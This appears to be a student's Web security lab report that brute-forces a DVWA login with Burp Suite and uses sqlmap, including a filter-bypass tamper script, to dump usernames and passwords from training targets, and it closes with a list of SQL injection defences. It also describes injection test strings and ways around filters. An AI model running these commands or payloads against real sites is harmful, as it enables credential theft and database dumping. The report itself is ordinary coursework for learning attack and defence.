《Web暴力破解及SQL注入》作业


课程名称:《Web安全(二)》


作业内容:

* 已知owasp服务器内的网站用户名为:gordonb 密码为6位,前三位为‘abc’后三位为数字,对其进行爆破得到正确的密码并验证。
* 使用SQLmap对该网站的前3个SQL注入案例进行SQL注入,将用户名和密码展示出一张表,实现拖库操作。

【要求】

* 概念越详细越好;
* 验证过程必要有截图和文字说明;
* 防护措施必须超过5条以上;
* 其余部分均可配文字简介叙述;
* 作业模板在此基础上可以自由发挥设计;

【SQL注入漏洞概述】


SQL <https://baike.baidu.com/item/SQL>
注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL
Injection,即SQL注入。

SQL注入攻击属于数据库安全
<https://baike.baidu.com/item/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AE%89%E5%85%A8/9983370>
攻击手段之一,可以通过数据库安全
<https://baike.baidu.com/item/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AE%89%E5%85%A8/9983370>
防护技术实现有效防护,数据库安全防护技术包括:数据库漏扫、数据库加密
<https://baike.baidu.com/item/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%8A%A0%E5%AF%86/7798419>
、数据库防火墙
<https://baike.baidu.com/item/%E6%95%B0%E6%8D%AE%E5%BA%93%E9%98%B2%E7%81%AB%E5%A2%99/5202178>
、数据脱敏
<https://baike.baidu.com/item/%E6%95%B0%E6%8D%AE%E8%84%B1%E6%95%8F/7914656>、
数据库安全审计系统
<https://baike.baidu.com/item/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AE%89%E5%85%A8%E5%AE%A1%E8%AE%A1%E7%B3%BB%E7%BB%9F/8402907>


SQL注入攻击会导致的数据库安全
<https://baike.baidu.com/item/%E6%95%B0%E6%8D%AE%E5%BA%93%E5%AE%89%E5%85%A8/9983370>
风险包括:刷库 <https://baike.baidu.com/item/%E5%88%B7%E5%BA%93/8990000>、拖库
<https://baike.baidu.com/item/%E6%8B%96%E5%BA%93/4633384>、撞库
<https://baike.baidu.com/item/%E6%92%9E%E5%BA%93/16480882>。

SQL注入是从正常的WWW端口访问,而且表面看起来跟一般的Web页面访问

 

没什么区别,所以市面的防火墙 <https://baike.baidu.com/item/%E9%98%B2%E7%81%AB%E5%A2%99>
都不会对SQL注入发出警报,如果管理员没查看ⅡS日志的习惯,可能被入侵很长时间都不会发觉。但是,SQL注入的手法相当灵活,在注入的时候会碰到很多意外的情况,需要构造巧妙的SQL语句,从而成功获取想要的数据.

总体思路

·发现SQL注入位置;

·判断后台数据库
<https://baike.baidu.com/item/%E5%90%8E%E5%8F%B0%E6%95%B0%E6%8D%AE%E5%BA%93>类型;

·确定XP_CMDSHELL可执行情况

·发现WEB虚拟目录 <https://baike.baidu.com/item/%E8%99%9A%E6%8B%9F%E7%9B%AE%E5%BD%95>

·上传ASP木马 <https://baike.baidu.com/item/ASP%E6%9C%A8%E9%A9%AC>;

·得到管理员权限;

  一般来说,SQL注入一般存在于形如:HTTP://xxx.xxx.xxx/abc.asp?id=XX等带有参数

SQL注入攻击

的ASP动态网页 <https://baike.baidu.com/item/%E5%8A%A8%E6%80%81%E7%BD%91%E9%A1%B5>
中,有时一个动态网页中可能只有一个参数,有时可能有N个参数,有时是整型参数,有时是字符串型参数,不能一概而论。总之只要是带有参数的动态网页且此网页访问了数据库,那么就有可能存在SQL注入。如果ASP程序员没有安全意识,不进行必要的字符过滤,存在SQL注入的可能性就非常大。

为了全面了解动态网页回答的信息,首选请调整IE的配置。把IE菜单-工具-Internet选项-高级-显示友好HTTP错误信息前面的勾去掉。

为了把问题说明清楚,以下以HTTP://xxx.xxx.xxx/abc.asp?p=YY为例进行分析,YY可能是整型,也有可能是字符串。

⒈整型参数的判断

当输入的参数YY为整型时,通常abc.asp中SQL语句原貌大致如下:

select * from 表名 where 字段=YY,所以可以用以下步骤测试SQL注入是否存在。

①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一单引号),此时abc.ASP中SQL语句变成了

select * from 表名 where 字段=YY’,abc.asp运行异常;

webSQL注入攻击分析统计

②HTTP://xxx.xxx.xxx/abc.asp?p=YY and
1=1,abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;

③HTTP://xxx.xxx.xxx/abc.asp?p=YY and 1=2,abc.asp运行异常;

⒉字符串型参数的判断

当输入的参数YY为字符串时,通常abc.asp中SQL语句
<https://baike.baidu.com/item/SQL%E8%AF%AD%E5%8F%A5>原貌大致如下:

select * from 表名 where 字段='YY',所以可以用以下步骤测试SQL注入是否存在。

①HTTP://xxx.xxx.xxx/abc.asp?p=YY’(附加一个单引号),此时abc.ASP中的SQL语句变成了

select * from 表名 where 字段=YY’,abc.asp运行异常;

②HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ...
39;1'='1',abc.asp运行正常,而且与HTTP://xxx.xxx.xxx/abc.asp?p=YY运行结果相同;

③HTTP://xxx.xxx.xxx/abc.asp?p=YY&nb ... 39;1'='2',abc.asp运行异常;

如果以上三步全面满足,abc.asp中一定存在SQL注入漏洞。

⒊特殊情况的处理

有时ASP程序员会在程序员过滤掉单引号等字符 <https://baike.baidu.com/item/%E5%AD%97%E7%AC%A6>
,以防止SQL注入。此时可以用以下几种方法试一试。


①大小定混合法:由于VBS并不区分大小写,而程序员在过滤时通常要么全部过滤大写字符串,要么全部过滤小写字符串,而大小写混合往往会被忽视。如用SelecT代替select,SELECT等;

②UNICODE法:在ⅡS中,以UNICODE字符集
<https://baike.baidu.com/item/%E5%AD%97%E7%AC%A6%E9%9B%86>
实现国际化,我们完全可以IE中输入的字符串化成UNICODE字符串进行输入。如+ =%2B,空格=%20 等;URLEncode信息参见附件一;

③ASCⅡ码法:可以把输入的部分或全部字符全部用ASCⅡ码代替,如U=chr(85),a=chr(97)等.

 


【信息收集】


* 测试对象
 


 

网站名称

域名

IP地址


1.

http://10.10.10.129/dvwa/login.php

10.10.10.129

10.10.10.129


2.

http://10.10.10.132/sqli/example1.php?name=root

10.10.10.132

10.10.10.132


3.

http://10.10.10.132/sqli/example1.php?name=root

10.10.10.132

10.10.10.132


4.

http://10.10.10.132/sqli/example1.php?name=root

10.10.10.132

10.10.10.132

 

二、测试工具


 

工具名称

描述


*  
Kali linux

Kali Linux是基于Debian <https://baike.baidu.com/item/Debian/748667>的Linux发行版,
设计用于数字取证操作系统。由Offensive Security Ltd维护和资助。最先由Offensive Security的Mati Aharoni和
Devon Kearns通过重写BackTrack来完成,BackTrack是他们之前写的用于取证的Linux发行版 。

Kali Linux预装了许多渗透测试软件,包括nmap 、Wireshark 、John the Ripper,以及Aircrack-ng.[2]
用户可通过硬盘、live CD或live USB运行Kali Linux。Kali Linux既有32位和64位的镜像。可用于x86 指令集。同时还有基于ARM
架构的镜像,可用于树莓派和三星的ARM Chromeboo


*  
burpsuit

Burp Suite 是用于攻击web 应用程序的集成平台,包含了许多工具。Burp Suite
为这些工具设计了许多接口,以加快攻击应用程序的过程。所有工具都共享一个请求,并能处理对应的HTTP 消息、持久性、认证、代理、日志、警报。


*  
Sqlmap

Sqlmap是开源的自动化SQL注入工具,由Python写成,具有如下特点:

* 完全支持MySQL、Oracle、PostgreSQL、Microsoft SQL Server、Microsoft Access、IBM DB2、
SQLite、Firebird、Sybase、SAP MaxDB、HSQLDB和Informix等多种数据库管理系统。
* 完全支持布尔型盲注、时间型盲注、基于错误信息的注入、联合查询注入和堆查询注入。
* 在数据库证书、IP地址、端口和数据库名等条件允许的情况下支持不通过SQL注入点而直接连接数据库。
* 支持枚举用户、密码、哈希、权限、角色、数据库、数据表和列。
* 支持自动识别密码哈希格式并通过字典破解密码哈希。
* 支持完全地下载某个数据库中的某个表,也可以只下载某个表中的某几列,甚至只下载某一列中的部分数据,这完全取决于用户的选择。
* 支持在数据库管理系统中搜索指定的数据库名、表名或列名
* 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持下载或上传文件。
* 当数据库管理系统是MySQL、PostgreSQL或Microsoft SQL Server时支持执行任意命令并回现标准输出。
 


*  
web_for_pentester

web for pentester是国外安全研究者开发的的一款渗透测试平台,通过该平台你可以了解到常见的Web漏洞检测技术。

XSS跨站脚本攻击

SQL注入

目录遍历

命令注入

代码注入

XML攻击

LDAP攻击

文件上传

 


*  
 

 


*  
 

 

 


 

 

【Web暴力破解实现过程】


* 生成字典
使用小轩字典生成器生成密码字典,前三位abc,后三位为数字



 

生成用户名和密码两个字典

 



2使用burpsuite 对密码进行爆破

   首先对登录页面进行抓包



抓包结果如下



 

 

添加爆破点



 

导入字典文件

 



 

 

开始持续爆破



 

3.得到密码

  后三位为:123

 



 


【SQL注入实现过程】


一 .example 1

* 打开sqlmap


* 查看存在的数据库
指令: sqlmap -u "http://10.10.10.132/sqli/example1.php?name=root" --dbs



结果如下:



 

3.进入exerciss数据库,查看表项

指令: sqlmap -u "http://10.10.10.132/sqli/example1.php?name=root" --dbs -D
exercises --tables



4.查看user表的字段名:

指令: sqlmap -u "http://10.10.10.132/sqli/example1.php?name=root" --dbs -D
exercises -T users –columns



 

5.获取name以及passwd的数据内容:

指令: sqlmap -u "http://10.10.10.132/sqli/example1.php?name=root" --dbs -D
exercises -T users -C name,passwd –dump



 

 

二.example 2

1.查找数据库

指令: sqlmap -u "http://10.10.10.132/sqli/example2.php?name=root" --dbs
--tamper=space2comment.py

因为该数据库有防火墙来过滤空格,所以添加了绕过防火墙的脚本指令: --tamper=space2comment.py



结果如下:



2.进入exercises数据库,查看表项

指令: sqlmap -u "http://10.10.10.132/sqli/example2.php?name=root" --dbs
--tamper=space2comment.py -D exercises --tables

查找到user表项



* 查找字段名
指令: sqlmap -u "http://10.10.10.132/sqli/example2.php?name=root" --dbs
--tamper=space2comment.py -D exercises -T users –columns

结果如下:

 

* 查看name以及passwd的数据内容
指令: sqlmap -u "http://10.10.10.132/sqli/example2.php?name=root" --dbs
--tamper=space2comment.py -D exercises -T users -C name,passwd –dump



结果如下:

 



 

三.example 3

1.查看数据库

指令: sqlmap -u "http://10.10.10.132/sqli/example3.php?name=root" --dbs
--tamper=space2comment



结果:



 

* 查看exercises数据库的表项
指令: sqlmap -u "http://10.10.10.132/sqli/example3.php?name=root" --dbs
--tamper=space2comment -D exercises –tables



 

  结果:



 

3.查询users数据表项的字段名

    指令: sqlmap -u "http://10.10.10.132/sqli/example3.php?name=root" --dbs
--tamper=space2comment -D exercises -T users --columns



 

结果如下:



 

 

 

4.查询name和passwd数据项内容

指令: sqlmap -u "http://10.10.10.132/sqli/example3.php?name=root" --dbs
--tamper=space2comment -D exercises -T users -C name,passwd –dump



结果:



 

本次sql注入实验结束


【SQL注入漏洞防护措施】


1)在构造动态SQL语句时,一定要使用类安全(type-safe)的参数加码机制。大多数的数据API,包括ADO和ADO.
NET,有这样的支持,允许指定所提供的参数的确切类型(譬如,字符串,整数,日期等),可以保证这些参数被恰当地escaped/encoded了,来避免黑客利用它们。一定要从始到终地使用这些特性。

例如,在ADO. NET里对动态SQL,可以象下面这样重写上述的语句,使之安全:

Dim SSN as String = Request.QueryString(“SSN”)

Dim cmd As new SqlCommand(“SELECT au_lname,au_fname FROM authors WHERE au_id =
@au_id”)

Dim param = new SqlParameter(“au_id”,SqlDbType.VarChar)

param.Value = SSN

cmd.Parameters.Add(param)

这将防止有人试图偷偷注入另外的SQL表达式(因为ADO.
NET知道对au_id的字符串值进行加码),以及避免其他数据问题(譬如不正确地转换数值类型等)。注意,VS
2005内置的TableAdapter/DataSet设计器自动使用这个机制,ASP. NET 2.0数据源控件也是如此。


一个常见的错误知觉(misperception)是,假如使用了存储过程或ORM,就完全不受SQL注入攻击之害了。这是不正确的,还是需要谨慎确定在给存储过程传递数据时,或在用ORM来定制一个查询时,你的做法是安全的。

2)在部署应用前,始终要做安全审评(security review)。建立一个正式的安全过程(formal security
process),在每次更新时,对所有的编码做审评。后面一点特别重要。曾经多次听说开发队伍在正式上线(going
live)前会做很详细的安全审评,然后在几周或几个月之后他们做一些很小的更新时,他们会跳过安全审评这关,说,“就是一个小小的更新,我们以后再做编码审评好了”。请始终坚持做安全审评。

3) 千万别把敏感性数据在数据库里以明文存放。
个人的意见是,密码应该总是在单向(one-way)hashed过后再存放,不喜欢将它们在加密后存放。在默认设置下,ASP. NET 2.0
Membership API 自动为你这么做,还同时实现了安全的SALT 随机化行为(SALT randomization
behavior)。如果决定建立自己的成员数据库,建议查看一下我们在这里发表的我们自己的Membership
provider的源码。同时也确定对你的数据库里的信用卡和其他的私有数据进行了加密。这样即使你的数据库被人入侵(compromised)了的话,起码你的客户的私有数据不会被人利用。

4)确认编写了自动化的单元测试,来特别校验你的数据访问层和应用程序不受SQL注入攻击。
这么做是非常重要的,有助于捕捉住(catch)“就是一个小小的更新,所有不会有安全问题”的情形带来的疏忽,来提供额外的安全层以避免偶然地引进坏的安全缺陷到你的应用里去。

5)锁定你的数据库的安全,只给访问数据库的web应用功能所需的最低的权限。
如果web应用不需要访问某些表,那么确认它没有访问这些表的权限。如果web应用只需要只读的权限从你的account
payables表来生成报表,那么确认你禁止它对此表的 insert/update/delete 的权限。

6)很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用 来防止别人进行手动注入测试。

可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟,你的管理员账号及密码就会被分析出来。


7)对于注入分析器的防范,笔者通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员账号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员账号怎么变都无法逃过检测。


第三步:既然无法逃过检测,那我们就做两个账号,一个是普通的管理员账号,一个是防止注入的账号,为什么这么说呢?笔者想,如果找一个权限最大的账号制造假象,吸引软件的检测,而这个账号里的内容是大于千字以上的中文字符,就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。

下面是修改数据库的操作


⒈对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。

⒉对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字)。

⒊把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。


由于SQL注入攻击针对的是应用开发过程中的编程不严密,因而对于绝大多数防火墙来说,这种攻击是“合法”的。问题的解决只有依赖于完善编程。专门针对SQL注入攻击的工具较少,Wpoison对于用asp,php进行的开发有一定帮助…。

 

 

教程下载地址:https://download.csdn.net/download/qq_38162763/10594287
<https://download.csdn.net/download/qq_38162763/10594287>

end

友情链接
KaDraw流程图
API参考文档
OK工具箱
云服务器优惠
阿里云优惠券
腾讯云优惠券
华为云优惠券
站点信息
问题反馈
邮箱:ixiaoyang8@qq.com
QQ群:637538335
关注微信